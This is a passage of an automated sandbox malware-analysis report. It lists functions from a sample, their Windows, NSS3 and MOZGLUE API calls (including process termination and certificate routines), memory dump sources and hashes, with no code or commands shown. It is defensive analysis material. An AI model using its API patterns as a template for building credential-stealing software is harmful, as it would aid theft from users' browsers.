Instruction Fuzzy Hash: A4518171E051298FCF08DF68C854ABEBBF2FB89318F29862EC815A7750C7306945CB95

Function 0042E4EC Relevance: 6.1, APIs: 4, Instructions: 126COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 0042E4FB

Part of subcall function 0042E990: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 0042E9B2

__scrt_acquire_startup_lock.LIBCMT ref: 0042E510
__scrt_release_startup_lock.LIBCMT ref: 0042E57E
__scrt_get_show_window_mode.LIBCMT ref: 0042E5D1

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: f433eebb87c59b1dcdfb599205d54c5a618b0fa7a877a3c0b7a4b21b94478ba7
Instruction ID: b16db6556733b770b10e3ccdbfc20dfd0a7556cbf7b9db44fc03ab7501f9d994
Opcode Fuzzy Hash: f433eebb87c59b1dcdfb599205d54c5a618b0fa7a877a3c0b7a4b21b94478ba7
Instruction Fuzzy Hash: AD31F4207146248BEB18FBBBE4553AA3381FB5A309FC4552FA446C73A2DE2C8945C60A

Function 6C8A4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C7885D2,00000000,?,?), ref: 6C8A4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8A500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8A50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C8A50D6

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: c7cc2e9e27e2fa5a58e2908a88873dfd2544f485584a030de7f7270365b75fee
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: C44195B2A007158BCB18CF59DCD1796B7E1BF4431871D4A6DC85ACBB02E375E891CB81

Function 6C7E6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C7E6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C7E6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C7E6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6C908FE0), ref: 6C7E6CFE

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: e93421f0c858ec1825dae8b3b315f4ba91a53f1a0c243db7c09d01bacb035e1d
Instruction ID: b2942581b53e72b907fa6b2e837da136f51803cce494db1e2a429a685dfe41a9
Opcode Fuzzy Hash: e93421f0c858ec1825dae8b3b315f4ba91a53f1a0c243db7c09d01bacb035e1d
Instruction Fuzzy Hash: A43183B2A0021A9FDB08CF65C951ABFBBF5EF49248B10443DDA05D7710EB31A915CBA0

Function 6C8F4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000003,00000000,?,?,00000000), ref: 6C8F4F5D
free.MOZGLUE(?), ref: 6C8F4F74
free.MOZGLUE(?), ref: 6C8F4F82
GetLastError.KERNEL32 ref: 6C8F4F90

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 2dc53d4056b54dd8677855a57c0218fdf279481d2c421d21c295a075894e7467
Instruction ID: 8ba1e66d3164443faf0ac3a0b1e742c47c6646c5d655c05cb0431fa9be404a21
Opcode Fuzzy Hash: 2dc53d4056b54dd8677855a57c0218fdf279481d2c421d21c295a075894e7467
Instruction Fuzzy Hash: 37314B75A006194BEB11CB69DE45BDB73B8EFC5388F140626EC29E7780E734D90686A1

Function 6C706470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C7082BC,?,?), ref: 6C70649B

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7064A9

Part of subcall function 6C6FFA80: GetCurrentThreadId.KERNEL32 ref: 6C6FFA8D
Part of subcall function 6C6FFA80: AcquireSRWLockExclusive.KERNEL32(6C74F448), ref: 6C6FFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C70653F
free.MOZGLUE(?), ref: 6C70655A

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 52a7eb2bf39428960083fcd5e2b8e60d51470de87b1407aa166281720b464830
Instruction ID: 1e077e6f7c6606f41f2bf2dc37d7bce1a73c65009d9ba5aaeed6b9a49e1f986e
Opcode Fuzzy Hash: 52a7eb2bf39428960083fcd5e2b8e60d51470de87b1407aa166281720b464830
Instruction Fuzzy Hash: 113181B5A043159FC700CF14D994A9AB7E4BF89314F40842EE85A87741EB30EA19CB96

Function 004194D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004194EB

Part of subcall function 00418D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0041951E,00000000), ref: 00418D5B
Part of subcall function 00418D50: HeapAlloc.KERNEL32(00000000,?,?,0041951E,00000000), ref: 00418D62
Part of subcall function 00418D50: wsprintfW.USER32 ref: 00418D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 004195AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 004195C9
CloseHandle.KERNEL32(00000000), ref: 004195D6

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 396451647-0
Opcode ID: 10821a0a9b0e3e9f18d0c0a89dc9fb30756029c80415081bc58457899473f0be
Instruction ID: faa3cbc47edc6d62fcde4c42a86d6f60d7c6cb9d9231cedff5acf80003c00c5b
Opcode Fuzzy Hash: 10821a0a9b0e3e9f18d0c0a89dc9fb30756029c80415081bc58457899473f0be
Instruction Fuzzy Hash: E3315C75E4020CAFDB14DFD0CD49BEDB7B9EB44300F10441AE506AA284DB78AE89CB56

Function 6C856DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C856E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C856E57

Part of subcall function 6C88C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C88C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C856E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C856EAA

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: 9ee2b54dc6202c7650e3937e4fbc43371d55a7b741df98becb205f4ab88cb187
Instruction ID: c805cdcbed8ca8a272c47d1fc1e52a8e3747b92a6dae85ae55f637964ca21c8d
Opcode Fuzzy Hash: 9ee2b54dc6202c7650e3937e4fbc43371d55a7b741df98becb205f4ab88cb187
Instruction Fuzzy Hash: DE31E371716616EEDBB41E34DE04396B7A4AB0131AFB40E3CD499D6B40E7B17464CF81

Function 6C824FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C82B60F,00000000), ref: 6C825003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C82B60F,00000000), ref: 6C82501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C82B60F,00000000), ref: 6C82504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C82B60F,00000000), ref: 6C825064

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 83f85238c65346d92553cc1b5acf013db554b5543c3008899a74d803c3a5beb5
Instruction ID: 39cc432d17a1b3ce56ebda50eebf89b8594930c6f203df94dbf6f5040e9947d8
Opcode Fuzzy Hash: 83f85238c65346d92553cc1b5acf013db554b5543c3008899a74d803c3a5beb5
Instruction Fuzzy Hash: 7E3105B0A05A06CFDB10EF68C58896AFBF4FF48308B118929D8599B704E734E890CBD1

Function 6C852DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C852E08

Part of subcall function 6C8414C0: TlsGetValue.KERNEL32 ref: 6C8414E0
Part of subcall function 6C8414C0: EnterCriticalSection.KERNEL32 ref: 6C8414F5
Part of subcall function 6C8414C0: PR_Unlock.NSS3 ref: 6C84150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C852E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C852E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C852E95

Part of subcall function 6C841200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C7E88A4,00000000,00000000), ref: 6C841228
Part of subcall function 6C841200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C841238
Part of subcall function 6C841200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C7E88A4,00000000,00000000), ref: 6C84124B
Part of subcall function 6C841200: PR_CallOnce.NSS3(6C942AA4,6C8412D0,00000000,00000000,00000000,?,6C7E88A4,00000000,00000000), ref: 6C84125D
Part of subcall function 6C841200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C84126F
Part of subcall function 6C841200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C841280
Part of subcall function 6C841200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C84128E
Part of subcall function 6C841200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C84129A
Part of subcall function 6C841200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C8412A1

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 0b76c0b4c5b8c7255eba74ebb5e20098a692dcf6536a03bb713a549ac128d96b
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 6D2126B1E003494BE760CF549E44BAB3764AFA130CF514679DD085B743FBF5E6A88292

Function 6C80ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C80ACC2

Part of subcall function 6C7E2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C7E2F0A
Part of subcall function 6C7E2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C7E2F1D

Part of subcall function 6C7E2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C7E0A1B,00000000), ref: 6C7E2AF0
Part of subcall function 6C7E2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7E2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C80AD5E

Part of subcall function 6C8257D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C7EB41E,00000000,00000000,?,00000000,?,6C7EB41E,00000000,00000000,00000001,?), ref: 6C8257E0
Part of subcall function 6C8257D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C825843

CERT_DestroyCertList.NSS3(?), ref: 6C80AD36

Part of subcall function 6C7E2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C7E2F65
Part of subcall function 6C7E2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7E2F83

free.MOZGLUE(?), ref: 6C80AD4F

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: b3184e8bf3dd21015553b9cd3e62bbf41baa0e0e1de844370a1678f88b66b95d
Instruction ID: 5f088f13e942fff190154515af76553d4a77f3e922db891b6373c261b51de62c
Opcode Fuzzy Hash: b3184e8bf3dd21015553b9cd3e62bbf41baa0e0e1de844370a1678f88b66b95d
Instruction Fuzzy Hash: 5E21C6B2E002189BEB20DF64DE095EE77B4AF09209F554468DC04B7710FB31AA49CBE1

Function 004187C0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E28,00000000,?), ref: 0041882F
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E28,00000000,?), ref: 00418836
wsprintfA.USER32 ref: 00418850

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Strings

%dx%d, xrefs: 00418847

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 2716131235-2206825331
Opcode ID: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction ID: e741bf7ca2fc1d65a497d39fe48fe123552d5275a0b8a8093fc8d321cf3eb0b5
Opcode Fuzzy Hash: 124e357ede7c9a4ec2e38b5c0962ba134007384ad5c1c3eeb759acb43c381339
Instruction Fuzzy Hash: 48217FB5A80208BFDB00DFD4DD49FAEBBB9FB49B00F104119F605A7280C779A900CBA5

Function 6C83ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C83F0AD,6C83F150,?,6C83F150,?,?,?), ref: 6C83ECBA

Part of subcall function 6C840FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7E87ED,00000800,6C7DEF74,00000000), ref: 6C841000
Part of subcall function 6C840FF0: PR_NewLock.NSS3(?,00000800,6C7DEF74,00000000), ref: 6C841016
Part of subcall function 6C840FF0: PL_InitArenaPool.NSS3(00000000,security,6C7E87ED,00000008,?,00000800,6C7DEF74,00000000), ref: 6C84102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C83ECD1

Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C8410F3
Part of subcall function 6C8410C0: EnterCriticalSection.KERNEL32(?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84110C
Part of subcall function 6C8410C0: PL_ArenaAllocate.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841141
Part of subcall function 6C8410C0: PR_Unlock.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841182
Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C83ED02

Part of subcall function 6C8410C0: PL_ArenaAllocate.NSS3(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C83ED5A

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 0ab04be80596f74674bf98ab0e8f6c2e510480b9bef52ff82d2192078f2abf27
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 8D2104B19007525BE310CF29DA44B52B7E4BFA4309F15E629E80C87B61FB70E990C7D0

Function 6C86EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C857FFA,?,6C859767,?,8B7874C0,0000A48E), ref: 6C86EDD4
